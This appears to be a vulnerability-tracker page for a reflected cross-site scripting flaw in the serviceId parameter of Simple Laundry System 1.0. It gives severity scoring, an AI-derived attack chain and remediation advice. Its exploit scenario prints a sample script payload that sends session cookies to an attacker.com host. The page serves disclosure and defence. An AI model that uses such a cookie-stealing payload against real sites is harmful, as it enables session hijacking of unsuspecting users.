EUVD-2026-21779
GHSA-8f84-x6pj-qm67
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious URL with XSS payload
-
DeliverySend link to target user
-
ExploitUser clicks link in browser
-
ExecutionPHP application reflects unsanitized serviceId parameter
-
PersistJavaScript executes in victim's browser context
-
ImpactAttacker steals session cookies or performs unauthorized actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS:3.1 score of 4.3 reflects a medium-low severity rating driven by: AV:N (network-accessible), AC:L (low complexity), PR:N (no authentication required), UI:R (requires user click), S:U (unchanged scope), and impact ratings of I:L (low integrity impact) and C:N/A:N (no confidentiality or availability impact). The EPSS environmental context and E:P (Proof-of-Concept Exists) modifier indicate public exploit availability increases exploitation probability above baseline. Real-world risk remains moderate: while the UI requirement and limited impact scope constrain severity, the combination of network accessibility, no authentication, publicly available POC, and active disclosure makes this a practical target for mass phishing campaigns or malware distribution via compromised web applications. This is not a critical vulnerability, but the ease of exploitation and public availability elevate it beyond purely theoretical risk for unpatched instances. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL containing embedded JavaScript in the serviceId parameter (e.g., /checkupdatestatus.php?serviceId=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and distributes it via email or social engineering. When an authenticated user of the Simple Laundry System clicks the link, the unvalidated input is reflected back in the HTTP response and executed in the victim's browser, allowing the attacker to steal session cookies or perform actions on behalf of the user. Publicly available POC code reduces the barrier to exploitation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 13, 2026
Cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows remote attackers to inject arbitrary scripts via the serviceId parameter in /checkupdatestatus.php. The vulnerability requires user interaction (UI:R) and results in low integrity impact, but is publicly available with exploit code and has been disclosed. CVSS base score is 4.3 with relatively low real-world risk due to UI requirement and limited impact scope, though the presence of public POC increases adoption likelihood among less-skilled attackers.
RemediationAI
Implement immediate input validation and output encoding in /checkupdatestatus.php by sanitizing the serviceId parameter using context-appropriate functions (e.g., htmlspecialchars() or htmlentities() for HTML context in PHP) and validating against an allowlist of expected values. Apply any available patch released by code-projects by visiting https://code-projects.org/ for updates. As an interim defense, deploy a Web Application Firewall (WAF) rule to detect and block script tags and JavaScript event handlers in the serviceId parameter, and implement a Content Security Policy (CSP) header to restrict inline script execution. If running Simple Laundry System 1.0, verify with the vendor whether a patched version is available; if not, consider disabling or restricting access to the /checkupdatestatus.php endpoint until remediation is confirmed.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a reflective or stored cross-site scripting (XSS) flaw classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The affected application Simple Laundry System 1.0 (CPE: cpe:2.3:a:code-projects:simple_laundry_system:*:*:*:*:*:*:*:*) fails to properly sanitize or validate user-supplied input in the serviceId parameter before outputting it to the /checkupdatestatus.php endpoint. This PHP-based application does not implement adequate output encoding or Content Security Policy (CSP) headers, allowing an attacker to inject malicious JavaScript that executes in the victim's browser context. The vulnerability operates at the HTTP application layer with network-level accessibility.
Know when Simple Laundry System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
5DescriptionCVE.org
A vulnerability has been found in code-projects Simple Laundry System 1.0. This affects an unknown part of the file /checkupdatestatus.php. The manipulation of the argument serviceId leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Simple Laundry System
View allSQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to execute arbitrary SQ
SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to extract, modify, or
SQL injection in Simple Laundry System 1.0 allows unauthenticated remote attackers to execute arbitrary SQL commands via
SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to extract, modify, or
SQL injection in Simple Laundry System 1.0's /checkregisitem.php parameter handler allows unauthenticated remote attacke
SQL injection in Simple Laundry System 1.0 PHP application allows unauthenticated remote attackers to execute arbitrary
SQL injection in Simple Laundry System 1.0's /checklogin.php parameter handler allows unauthenticated remote attackers t
SQL injection in Simple Laundry System 1.0's /checkupdatestatus.php parameter handler allows unauthenticated remote atta
SQL injection in Simple Laundry System 1.0 through the serviceId parameter in /viewdetail.php allows unauthenticated rem
Cross-site request forgery in code-projects Laundry System 1.0 allows an attacker to perform unauthorized actions on beh
Reflected cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers
Cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows remote attackers to inject malicious script
Exploit-DB